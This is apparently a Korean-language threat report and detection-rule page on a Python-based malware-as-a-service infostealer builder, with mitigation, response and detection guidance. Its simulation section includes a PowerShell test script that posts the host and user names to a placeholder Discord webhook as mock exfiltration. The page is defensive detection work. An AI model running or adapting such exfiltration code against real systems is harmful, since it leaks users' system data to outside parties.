Stealer 공장: 인포스틸러 제작을 위한 Python 기반 MaaS
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
새로운 Malware-as-a-Service (MaaS) 작전이 식별되었으며, 이는 Python 기반 빌더를 사용하여 맞춤형 정보탈취 페이로드를 생성합니다. 빌더는 Nuitka 또는 PyInstaller을 통해 악성코드를 Windows 실행 파일로 패키징하는 동시에 웹훅 구성 요소를 포함시킬 수 있도록 합니다. 생성된 탈취 프로그램은 브라우저 자격 증명, Discord 토큰, Roblox 쿠키 및 저장된 Wi-Fi 비밀번호를 목표로 합니다.
조사
분석가는 빌더와 내장된 페이로드가 모두 포함된 중첩 아카이브를 조사했습니다. 조사는 빌더가 XOR 및 Base64 인코딩을 사용하여 웹훅 URL을 보호하고 필요할 경우 자동으로 종속성을 설치할 수 있음을 밝혀냈습니다. pip.exe. 생성된 페이로드는 또한 디버거 탐지 및 샌드박스 환경을 식별하기 위해 설계된 디스크 크기 검사 등 분석 방지 기법을 구현합니다.
완화 조치
조직은 비정상적인 pip.exe 실행과 의심스러운 예약 작업 생성을 모니터링해야 합니다. 브라우저 데이터 디렉토리에 대한 접근을 제한하고 무단 사용을 감지하는 netsh 명령어를 사용하는 것도 노출을 줄이는 데 도움을 줄 수 있습니다. 또한, 빠르게 진화하는 Python 기반 악성코드 가족을 식별하기 위해 엔드포인트 보호 솔루션을 최신 상태로 유지하는 것이 중요합니다.
대응
악성 활동이 감지되면 공격자가 제어하는 웹훅을 통한 추가 데이터 유출을 중지하기 위해 영향을 받은 엔드포인트를 격리합니다. 레지스트리 실행 키와 예약된 작업을 검토하여 무단 지속성 메커니즘을 찾아냅니다. 미상, 새로 관찰되었거나 의심스러운 웹훅 엔드포인트로 향하는 비정상적인 HTTP POST 요청에 대해 네트워크 텔레메트리를 분석합니다.
공격 흐름
이 부분은 계속 업데이트 중입니다.
탐지
지속성을 위한 Schtasks 또는 AT 사용 가능성 (명령줄을 통해)
지속 가능성 점 [ASEPs – 소프트웨어/NTUSER 하이브] (명령줄을 통해)
IP 조회 도메인 통신 시도 가능성 (DNS를 통해)
IOC (HashMd5) 탐지: Stealer Factory: Python 기반 MaaS 정보탈취 빌더 해제
디버거 존재 여부와 Wi-Fi 프로필 열거 시도 탐지 [Windows 프로세스 생성]
의심스러운 HTTP POST 요청 웹훅 엔드포인트 [Windows 네트워크 연결]
Python 악성코드 빌더에서 예상치 못한 Pip 실행 및 PyInstaller 호출 탐지 [Windows 프로세스 생성]
시뮬레이션 실행
-
공격 서술 및 명령어: 공격자는 Windows 워크스테이션에 가벼운 정보탈취 프로그램을 배포했습니다. 전용 C2 서버 관리를 피하기 위해, 공격자는 Discord Webhook을 사용하여 시스템 메타데이터(예: 호스트 이름 및 사용자 이름)를 유출합니다. 스크립트는 Discord API에 HTTP POST 요청을 수행합니다. 이 활동은 합법적인 개발자 또는 게임 트래픽과 어우러지도록 설계되어 있으며, 구체적으로
discordapp.com/api/webhooksURI 패턴을 탐지 규칙이 플래그로 지정하게 되어 있습니다. -
회귀 테스트 스크립트:
# Discord Webhook을 통한 데이터 유출 시뮬레이션 $webhookUrl = "https://discordapp.com/api/webhooks/test-id/test-token" $payload = @{ content = "유출된 데이터: Hostname=$env:COMPUTERNAME, User=$env:USERNAME" } | ConvertTo-Json Write-Host "[+] webhook 유출 시뮬레이션 중..." try { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json" Write-Host "[+] 시뮬레이션 명령어 전송 성공." } catch { Write-Host "[-] 명령어 전송 (URL이 가짜일 경우 예상된 실패지만, 텔레메트리는 여전히 생성되어야 함): $_" } -
정리 명령어:
# 지속적인 파일이 생성되지 않았습니다. 이 메모리 전용 시뮬레이션에 대한 정리 필요 없음. Write-Host "[+] 정리 완료: 시스템에 남은 아티팩트 없음."